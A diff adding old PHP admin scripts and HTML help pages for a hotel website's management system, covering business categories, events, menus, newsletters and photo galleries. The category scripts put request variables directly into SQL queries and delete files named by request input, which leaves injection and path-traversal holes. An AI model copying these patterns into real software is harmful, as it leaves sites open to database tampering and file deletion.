+ $catid = ereg_replace("^:","",$oldcatid);
+ $catid = split(":",$oldcatid);
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+
+ }
+
+ header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+//$Id: update_bus_category.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+include("../../setup.phtml");
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+if($REQUEST_METHOD == "POST" || $Command == "Move") {
+ switch($Command) {
+
+ case "Move":
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus_category.phtml?catid=$catid";
+ break;
+
+ case "Update":
+
+ if($image != "none" && $image != "") {
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+
+ if($delete == "1") {
+ $image_name = "";
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ }
+
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ if($parent != $oldparent) {
+
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = $row[maxpos];
+ $pos++;
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = db_exec($dbd,$qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ db_exec($dbd,$qs);
+ $oldparent_counter++;
+ }
+
+ }
+ else {
+ $pos = $oldpos;
+ }
+ $template = ( $template ) ? $template : 1;
+
+ $qs = "update bus_category
+ set category = '$category',
+ parent = $parent,
+ pos = $pos,
+ intro = '$intro',
+ description = '$description',
+ image = '$image_name',
+ imagename = '$imagename',
+ keyword = '$keyword',
+ template = $template
+ where id = $id";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Insert":
+
+ if($image != "none" && $image != "") {
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $nextpos = $row[maxpos];
+ $nextpos++;
+
+ db_close($dbd);
+
+ $template = ( $template ) ? $template : 1;
+ $parent = ( $parent ) ? $parent : 0;
+ $qs = "insert into bus_category
+ (template,keyword,category,parent,intro,description,image,imagename,pos)
+ values
+ ($template,'$keyword','$category',$parent,'$intro','$description','$image_name','$imagename',$nextpos)";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Delete":
+
+ $dbd = db_connect();
+
+ if(!$dbd) html_erro(DB_ERROR_MSG,1);
+
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+ if($row['count'] >0) {
+ html_error("Sorry but you have items in there\n
+ Delete these records first\n",1);
+ }
+
+ $qs = "SELECT parent
+ FROM bus_category
+ WHERE parent = $id";
+
+ $res = db_exec($dbd,$qs);
+
+ if(db_numrows($res) >0) {
+ html_error("Sorry but you have Categories in there\n
+ Delete these Categories first\n",1);
+ }
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = db_exec($dbd,$qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ db_exec($dbd,$qs);
+ $oldparent_counter++;
+ }
+
+ $qs2 = "DELETE
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Cancel":
+ $location = "list_bus_category.phtml?".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+ }
+
+header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+ /* If you don't have a newsletter installed then comment oeut the part where it updates
+ the news and news_block tables
+ or else this will rollback (since it is in a transaction)
+ :)
+ */
+ require_once('../../setup.phtml');
+ require_once(BASE.'classes/class_db.inc');
+ require_once(BASE.'classes/class_template.inc');
+
+ $DB =& new GLM_DB();
+ $DB->db_connect();
+ $DB->db_exec( "BEGIN WORK" );
+
+ echo 'replacing newlines with <br> in bus_category<br>';
+ $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in bus<br>';
+ $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+
+ echo 'replacing newlines with <br> in news<br>';
+ $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in news_block<br>';
+ $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+ $DB->db_exec( "COMMIT WORK" );
+?>
--- /dev/null
+function reshow(object) {
+ artist = object.options[object.selectedIndex].text;
+ for (var i = document.track.names.length;i > 0;i--)
+ document.track.names.options[0] = null;
+ reloading = true;
+ showlinks();
+ document.track.names.options[0].selected = true;
+ return false;
+}
+
+function load(object) {
+ alert('Just testing: ' + object.options[object.selectedIndex].value);
+ //window.location.href = object.options[object.selectedIndex].value;
+ return false;
+}
+
+function showlinks() {
+ if (artist == 'Chris Rea') {
+ opt('cr/one.zip','The Road To Hell');
+ opt('cr/two.zip','Let\'s Dance');
+ }
+
+ if (artist == 'Annie Lennox') {
+ opt('al/why.zip','Why');
+ opt('al/wobg.zip','Walking on Broken Glass');
+ }
+
+ if (artist == 'Dina Carrol') {
+ opt('dc/track1.zip','Escaping');
+ opt('dc/track2.zip','Only Human');
+ }
+}
+
+function opt(href,text) {
+ if (reloading) {
+ var optionName = new Option(text, href, false, false)
+ var length = document.track.names.length;
+ document.track.names.options[length] = optionName;
+ }
+ else
+ document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Events Calendar Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Events</h4>
+
+<P>
+This page lists the existing Events.
+</p>
+<p>
+<b>Add A New Event</b>
+</p>
+<p>This link will allow you to add new Event</p>
+<p>
+<b>List Events</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>Edit Topics</b>
+</p>
+<p>This link will allow you to edit Topics associated with Events</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Event</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>This link will let you Delete an existing Event</p>
+<p>
+<b>ON/OFF</b>
+</p>
+<p>There is either a green or red ball in line with each existing Event.
+If the ball is green, the Event is currently visable on the front end of your
+web site. If the ball is red, the event is not visable on the front end of your
+web site. You can easily toggle Event visability by clicking on the ball. If the
+ball was red, and you clicked on it, it should turn green.</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit an Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Event,
+you can click "Submit Query." This will update the information about the
+Event in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add An Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have edited the Event to your liking,
+you can click "Submit Query." This will add the Event to the database.
+</p>
+<?
+ break;
+ case "edittopic":
+ ?>
+<h4 align="center">Edit Topics</h4>
+<p>
+<b>Existing Topic:</b>
+</p>
+<p>
+This Select Box lists all existing Topics by name. You should choose the
+Topic that you wish to Edit/Delete
+</p>
+<p>
+<b>Change Topic Name:</b>
+</p>
+<p>If you type something into this Text Box, it will change the name
+of the Topic selected under "Existing Topic:" after you click "Change Name"
+</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>If you click [Delete] you will remove the Topic Selected under "Existing
+Topic" (Be Careful)
+</p>
+
+<p>
+<b>Change Name</b>
+</p>
+<p>When you selected a Topic to change, and entered the new name in the
+Text Box, you can click "Change Name" to change the Topic's name in the
+database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Menu Items</h4>
+
+<P>
+This page lists the existing Menu Items under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Menu Item</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Menu Items</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Menu Item</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Menu Item</h4>
+<P>
+This page is for editing and modifying an existing Menu Item in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Menu Item will appear in on the Menu. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Price:</b>
+</p>
+<p>This is the text which will appear on the Menu as the price.
+Note that you should format the Price just as you wish it to appear on the
+Menu. i.e. '$16.00' not '16'
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Menu Item</h4>
+<P>
+This page is for adding new Menu Items in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Menu Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Menu]</b>
+</p>
+<p>
+This link will list out the Menu Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Menu Categores in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Menu Categories in the database.
+When editing is complete, click on the "Add" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+<p>
+<b>Add</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Add." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Newsletter Help</H4>
+
+<P>
+This page is for editing and modifying the existing Newsletter in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed to an area where you can view the
+updated Newsletter.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear on the top of the Newsletter</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the actual body of the Newletter. Whatever you type in this field
+will be shown as the body of the Newsletter.
+The body may have multiple paragraphs. By hitting return twice, you place a
+blank line in the copy.
+</p>
+
+<p>
+<b>Mail Out:</b>
+</p>
+<p>This "Select Box" will determine whether or not the Newsletter gets emailed
+to members of your Contact Database. If you change the Mail Out option to "Yes"
+then the Newsletter will be emailed out, and updated on your web page.
+Otherwise, the Newsletter will only be updated on your web page. The default
+is "No"
+</P>
+
+<p>
+<b>Members from which Hotel:</b>
+</p>
+<p>This "Select Box" will determine who to email the Newsletter to. Note that
+this is only pertinent if "Mail Out" is set to "Yes." The default is members
+from your own Hotel, however, you can also choose to email the Newsletter to
+registered members from "Both Hotels"
+</p>
+
+<p>
+<b>Update</b>
+<p>
+
+<p>When you have made the changes you want to the Newsletter, and determined
+whether or not to email it out, you can click "Update." This will take the
+appropriate action, and direct you to a page where you can view the contents
+and email recipients of the Newsletter
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Photos</h4>
+
+<P>
+This page lists the existing Photos under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Photo</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Photos</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Photo</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Photo</h4>
+<P>
+This page is for editing and modifying an existing Photo in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Photo,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Photo</h4>
+<P>
+This page is for adding new Photos in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Photo Gallery Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Photos]</b>
+</p>
+<p>
+This link will list out the Photo Gallery Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Photo Gallery Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
